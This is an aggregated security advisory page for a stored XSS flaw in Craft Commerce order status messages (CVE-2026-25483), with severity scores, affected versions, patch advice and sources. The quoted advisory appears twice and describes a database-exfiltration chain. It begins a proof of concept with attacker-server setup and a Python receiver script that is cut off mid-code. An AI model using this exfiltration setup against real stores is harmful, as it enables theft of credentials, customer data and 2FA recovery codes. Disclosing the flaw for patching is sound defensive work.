vulnerability / NVI-00003545 / Revision 4
Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration
OSV carries this publisher advisory for craftcms/commerce, craftcms/commerce. This is an aggregated source copy; consult the original publisher and compare update dates.
This report has not inspected your inventory, configuration, deployed build, reachability or evidence. A catalog listing and a severity score do not establish exposure or compromise.
01 / Meaning
Why it matters
Published affected context helps an owner decide what evidence to gather. This report has not examined your application.
5.4 MEDIUM (3.1)
nvd@nist.gov severity; no combined Null risk score.
6.2 MEDIUM (4.0)
security-advisories@github.com severity; no combined Null risk score.
0.342%
FIRST EPSS model v2026.06.15; exploitation probability over 30 days, percentile 0.27696. Missing scores are unknown.
As of · FIRST EPSS
02 / Applicability
The affected context
Affected versions, configuration prerequisites and known exclusions are public. Confirm each one against the deployed service.
craftcms/commerce
source listedECOSYSTEM: introduced 5.0.0; fixed 5.5.2
## Summary A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. Users are recommended to update to the patched 5.5.2 release to mitigate the issue. --- ## Proof of Concept ### Required Permissions - General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders ### Attacker Server Setup To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as `receiver.py` on your attacker machine. 2. Run it: `python3 receiver.py` -- Change the port if needed. Server Python Script ```python #!/usr/bin/env python3 """ Usage: python3 receiver.py """ from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime class Hand
craftcms/commerce
source listedECOSYSTEM: introduced 4.0.0-RC1; fixed 4.10.1
## Summary A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. Users are recommended to update to the patched 5.5.2 release to mitigate the issue. --- ## Proof of Concept ### Required Permissions - General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders ### Attacker Server Setup To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as `receiver.py` on your attacker machine. 2. Run it: `python3 receiver.py` -- Change the port if needed. Server Python Script ```python #!/usr/bin/env python3 """ Usage: python3 receiver.py """ from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime class Hand
03 / Response
What to do next
- vendor patch
The original advisory lists fixed boundaries 5.5.2 for craftcms/commerce. Confirm the publisher’s latest guidance.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database via OSV
- vendor patch
The original advisory lists fixed boundaries 4.10.1 for craftcms/commerce. Confirm the publisher’s latest guidance.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. GitHub Advisory Database via OSV
- investigate
Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.
Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system. FIRST EPSS
A fixed release is not deployment evidence.
Check current vendor support and compatibility. After making a change, verify the deployed build and relevant runtime conditions. Keep the evidence, owner and time. An updated lockfile alone does not prove what is running.
04 / Limits
What this report cannot establish
- Customer inventory, deployment, reachability and exploitation have not been inspected.
- NVD lastModified does not establish freshness of every associated CPE record.
05 / Provenance
Sources you can inspect
Each assertion retains its source. Mirrored records may repeat one underlying publisher; additional links are not independent corroboration.
- GHSA-8478-rmjg-mjj5 ↗
GitHub Advisory Database via OSV · vendor advisory
Observed . GitHub-origin advisory, CC-BY-4.0; OSV is an aggregate copy, not independent corroboration.
- CVE-2026-25483 ↗
NIST National Vulnerability Database · official catalog
Observed . This product uses data from the NVD API but is not endorsed or certified by the NVD.
- CVE-2026-25483 ↗
FIRST EPSS · official catalog
Observed . FIRST EPSS; probability of exploitation in the next 30 days, not local compromise. Dataset date/model retained; FIRST services terms apply.
Public revision history
Only published revisions appear here. Routine fetches do not create a material-change event.
- Revision 4 ·
Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.
- Revision 3 ·
Dated EPSS estimate updated; this is not a new disclosure or proof of exploitation.
- Revision 2 ·
Source facts changed; compare the preserved prior revision.
- Revision 1 ·
First indexed by Null; source disclosure date is shown separately.